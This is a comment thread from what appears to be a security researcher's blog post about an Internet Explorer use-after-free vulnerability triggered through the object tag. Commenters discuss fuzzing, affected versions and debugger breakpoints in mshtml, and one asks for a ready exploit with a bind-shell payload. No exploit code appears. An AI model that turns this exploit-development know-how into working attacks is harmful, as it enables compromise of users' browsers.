  5. @Anonymous #1: No worries - sinn3r asked me before he put it in, I'm fine with it.

    I appreciate you watching out though :^)

    ReplyDelete
  6. Nice work and sorry for the kill :(

    My poc is something different and doesn't get crashed on IE6/7...

    Regards,
    Jose.

    ReplyDelete
  7. how you found this vuln?

    ReplyDelete
  8. @Jose: I don't think CVE-2011-1260 is the fix that killed this one - mainly for the reason you just said (this affects 6/7/8/9, not just 8/9, so no worries :^)

    @Anonymous #3: How'd I find it? Fuzzing

    ReplyDelete
  9. Thanks ,very informative and this will certainly help to find similar crashes/bugs.

    ReplyDelete
  10. Great Job! Also Great ref for future exploit writers :)

    ReplyDelete
  11. yes, man. It's the same vuln.

    I've already posted the poc in my blog. Check it yourself.

    cheers,
    Jose.

    ReplyDelete
  12. @Jose: Yup, that's definitely the same one. Something that I didn't mention in the post is that there's a _ton_ of ways to trigger this vulnerability. They all require use of the object tag though.

    ReplyDelete
  13. Can somebody Jose or d0c_s4vage or both provide plain HTML exploit version of this exploit too, maybe with a basic bind_shell or calc in the unescape() format.
    Would be really helpful to test it.
    Thanks and Keep the Good Work up !

    ReplyDelete
  14. This comment has been removed by the author.

    ReplyDelete
  15. @d0c.s4vage: "Something that I didn't mention in the post is that there's a _ton_ of ways to trigger this vulnerability. They all require use of the object tag though. "
    Jose didn't seem to have mentioned it to ZDI either as evident in the title of the vulnerablity, which is probably where the confusion about it only affecting IE8/9 originated.

    ReplyDelete
  16. Is there special meanning about the script that you list~~ I try (change the order, change some param, delete some param) , and find that some still will cause the bug but some will not. So how do IE really work about this script ? How did you find the bug ?

    ReplyDelete
  17. hai dis nice posting well keep it up..........so,keep it up



    regards,

    movies

    ReplyDelete
  18. Have Anyone else work out a exploit on IE9? In IE9, it can also trigger this vulnerability, but the internals seems have changed greatly! After set 3 breakpoint learned from this post, I even didn't find that the CTreeNode::Release is invoked.

    ReplyDelete
  19. how did u choose to set breakpointy on
    mshtml!CreateElement+0x57
    mshtml!CTreeNode::Release+0x27
    mshtml!CTreeNode::CTreeNode+0x8c
    though they dont show up in the stack trace

    ReplyDelete
  20. Same question:


    how did u choose to set breakpointy on
    mshtml!CreateElement+0x57
    mshtml!CTreeNode::Release+0x27
    mshtml!CTreeNode::CTreeNode+0x8c
    though they dont show up in the stack trace

    ReplyDelete